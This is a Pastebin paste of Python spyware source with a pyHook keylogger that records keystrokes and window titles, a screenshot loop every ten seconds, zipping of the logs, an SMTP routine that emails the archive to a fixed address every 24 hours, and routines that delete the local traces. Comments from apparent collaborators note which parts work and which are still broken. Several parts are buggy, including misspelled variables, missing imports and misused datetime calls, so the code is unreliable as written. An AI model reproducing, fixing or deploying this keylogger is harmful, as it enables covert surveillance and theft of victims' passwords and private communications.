Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # keylogger
- import pyHook, pythoncom
- from datetime import datetime
- # screenshot
- from PIL import ImageGrab
- from time import sleep
- from datetime import datetime
- counter =+ 0
- # zip
- from zipfile import ZipFile
- import os
- # email
- import smtplib
- from email.mime.text import MIMEText
- from email.mime.multipart import MIMEMultipart
- from email.mime.base import MIMEBase
- from email import encoders
- # delete_extension
- import glob
- # delete_zip
- from zipfile import *
- # threads
- import threading
- ########KEYLOGGER#######
- todays_date = datetime.now().strftime('%m-%d-%Y')
- local_time = datetime.now().strftime('%H:%M:%S')
- local_day = datetime.now().strftime('%A')
- file_name = 'D:\\Documents\\key\\' + todays_date + '.txt'
- # file_name = 'D:\\Documents\\key\\' + todays_date + '.txt'
- line_buffer = "" #current typed line before return character
- window_name = "" #current window
- def SaveLineToFile(line):
- todays_file = open(file_name, 'a') #open todays file (append mode)
- todays_file.write(line) #append line to file
- todays_file.close() #close todays file
- def OnKeyboardEvent(event):
- global line_buffer
- global window_name
- print 'Ascii:', event.KeyID, chr(event.KeyID) #pressed value
- """if typing in new window"""
- if (window_name != event.WindowName): #if typing in new window
- if (line_buffer != ""): #if line buffer is not empty
- line_buffer += '\n'
- SaveLineToFile(line_buffer) #print to file: any non printed characters from old window
- line_buffer = "" #clear the line buffer
- SaveLineToFile('\n---WindowName: ' + event.WindowName + ' - ' + local_day + ' - ' + local_time + '\n') #print to file: the new window name
- window_name = event.WindowName #set the new window name
- """if return or tab key pressed"""
- if (event.Ascii == 13 or event.Ascii == 9): #return key
- line_buffer += '\n'
- SaveLineToFile(line_buffer) #print to file: the line buffer
- line_buffer = "" #clear the line buffer
- return True #exit event
- """if backspace key pressed"""
- if (event.Ascii == 8): #backspace key
- line_buffer = line_buffer[:-1] #remove last character
- return True #exit event
- """if non-normal ascii character"""
- if (event.Ascii < 32 or event.Ascii > 126):
- if (event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt)
- pass #do nothing
- else:
- line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
- else:
- line_buffer += chr(event.Ascii) #add pressed character to line buffer
- return True #pass event to other handlers
- # CREATED THIS FUNC FOR THREAD USAGE - PUMPMESSAGES IS THE CULPRIT
- def run_keylogger():
- print('running keylogger') # TOBEREMOVED
- hooks_manager = pyHook.HookManager() #create hook manager
- hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
- hooks_manager.HookKeyboard() #set the hook
- pythoncom.PumpMessages() #wait for events
- ########KEYLOGGER#######
- #
- ##
- ###
- ####
- #####
- ######
- ######
- #####
- ####
- ###
- ##
- #
- #######SCREENSHOT#######
- def screenshot():
- while True:
- local_time = datetime.now().strftime('%H-%M-%S')
- img = ImageGrab.grab()
- img.save(local_time + '.jpg'.format(counter))
- global count
- print('screenshot taken: '+local_time) # TOBEREMOVED
- sleep(10)
- #######SCREENSHOT#######
- #
- ##
- ###
- ####
- #####
- ######
- ######
- #####
- ####
- ###
- ##
- #
- #######ZIP#######
- def get_all_file_paths(directory):
- # initializing empty file paths list
- file_paths = []
- # crawling through directory and subdirectories
- for root, directories, files in os.walk(directory):
- for filename in files:
- # join the two strings in order to form the full filepath.
- filepath = os.path.join(root, filename)
- file_paths.append(filepath)
- # returning all file paths
- return file_paths
- def zip():
- directory = 'D:\\Documents\\key\\'
- # calling function to get all file paths in the directory
- file_paths = get_all_file_paths(directory)
- # printing the list of all files to be zipped
- print('Following files will be zipped:')
- for file_name in file_paths:
- print(file_name)
- # writing files to a zipfile
- with ZipFile('pyDump', 'w') as zip:
- # writing each file one by one
- for file in file_paths:
- zip.write(file)
- print('All files zipped successfully!') # LOOKS GOOD
- #######ZIP#######
- #
- ##
- ###
- ####
- #####
- ######
- ######
- #####
- ####
- ###
- ##
- #
- #######EMAIL#######
- def email():
- email_user = 'email' #
- email_password = 'password'
- email_send = 'sentEmail'
- subject = 'Test Logging'
- msg = MIMEMultipart()
- msg['From'] = email_user
- msg['To'] = email_send
- msg['Subject'] = subject
- body = 'Hi there, sending this email from Python!'
- msg.attach(MIMEText(body,'plain'))
- filename='filename'
- attachment =open(filename,'rb')
- part = MIMEBase('application','octet-stream')
- part.set_payload((attachment).read())
- encoders.encode_base64(part)
- part.add_header('Content-Disposition',"attachment; filename= "+filename)
- msg.attach(part)
- text = msg.as_string()
- server = smtplib.SMTP('smtp.gmail.com',587)
- server.starttls()
- server.login(email_user,email_password)
- server.sendmail(email_user,email_send,text)
- server.quit()
- # send email every 24 hours
- def send_email():
- nextDay = datetime.now() + datetime.timedelta(days=1)
- dateString = nextDay.strftime('%d-%m-%Y') + " 01-00-00"
- newDate = nextDay.strptime(dateString,'%d-%m-%Y %H-%M-%S')
- delay = (newDate - datetime.now()).total_seconds()
- Timer(delay,email,()).start()
- # AFTER THIS LINE, CALL THE FUNCTIONS TO DELETE WHAT YOU NEED
- #######EMAIL#######
- #
- ##
- ###
- ####
- #####
- ######
- ######
- #####
- ####
- ###
- ##
- #
- #######DELETE_EXTENSION#######
- def delete_extension(): # Now deletes .jpg extension files in directory listed
- directory='D:\\Documents\\ss\\'
- os.chdir(directory)
- files=glob.glob('*.jpg')
- for filename in files:
- os.unlink(filename)
- print('.jpg deleted') # TOBEREMOVED
- #######DELETE_EXTENSION#######
- #
- ##
- ###
- ####
- #####
- ######
- ######
- #####
- ####
- ###
- ##
- #
- #######DELETE_ZIP#######
- def delete_zip():
- timestamp = int(time.time())
- unixTime = str(timestamp)
- file_name = "a_" + unixtime + ".zip"
- zip_archive = ZipFile(file_name, "w", ZIP_DEFLATED)
- for file in os.listdir('D:\\Documents\\key\\'):
- if file.endswith(".jpg"):
- zip_archive.write(file)
- os.remove(file)
- zip_archive.close()
- print('.zip deleted') # TOBEREMOVED
- #######DELETE_ZIP#######
- #
- ##
- ###
- ####
- #####
- ######
- ######
- #####
- ####
- ###
- ##
- #
- #######THREAD#######
- def main():
- # create threads
- run_keylogger_thread = threading.Thread(target=run_keylogger)
- screenshot_thread = threading.Thread(target=screenshot)
- zip_thread = threading.Thread(target=zip)
- send_email_thread = threading.Thread(target=send_email)
- delete_extension_thread = threading.Thread(target=delete_extension)
- delete_zip_thread = threading.Thread(target=delete_zip)
- # start threads - HERE I COMMENTED EACH ONE OUT SO YOU CAN TEST THEM INDIVIDUALLY
- run_keylogger_thread.start() # CHANGED THE PREVIOUSLY COMMENTED LINE. MAY PARTIALLY WORK NOW
- # screenshot_thread.start() # CHANGED LOCATION OF LOCAL TIME - SHOULD WORK PROPERLY NOW
- # zip_thread.start() - WORKS
- # send_email_thread.start() - # CHANGED DT TO DATETIME - SHOULD WORK NOW
- # delete_extension_thread.start() - WORKS
- # delete_zip_thread.start() - int. not called?
- # comment each thread out to test functionality
- # 1. test keylogger by making sure that the file is actually created and has stuff appended to it. the code looks mostly fine so
- # eventually it will work. also id recommend adding everything to the c drive so you can reference it easily in the code. I made the changes above already
- # 2. screenshot will be an easy one to fix.just keep trying different things until one works. there are functions available online to make it easy
- # 3. zip is easy as well. I suspect that you have figured this one out alreadu
- # 4. send email. you confirmed this function to work
- # 5. delete extension - just finding the files
- # 6. delete zip thread - same as 5. could be eliminated for brevity
- main()
- #######THREAD#######
- #
- ##
- ###
- ####
- #####
- ######
- ######
- #####
- ####
- ###
- ##
- #
- #######INFO#######
- '''
- Functions:
- run_keylogger
- screenshot
- zip
- send_email
- delete_extension
- delete_zip
- '''
- '''
- threading works by adding each function to a queue and starting them at your convenience.
- You can control the order of the initialization by arranging the order of the start methods.
- You can also pass arguments to functions like so: target=FUNCTION_NAME , args = (ARGS) -------> def FUNCTION_NAME(ARGS): print('hi')
- '''
- ''' let me know if this works for you. I haven't tested it on my system'''
- #######INFO#######
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement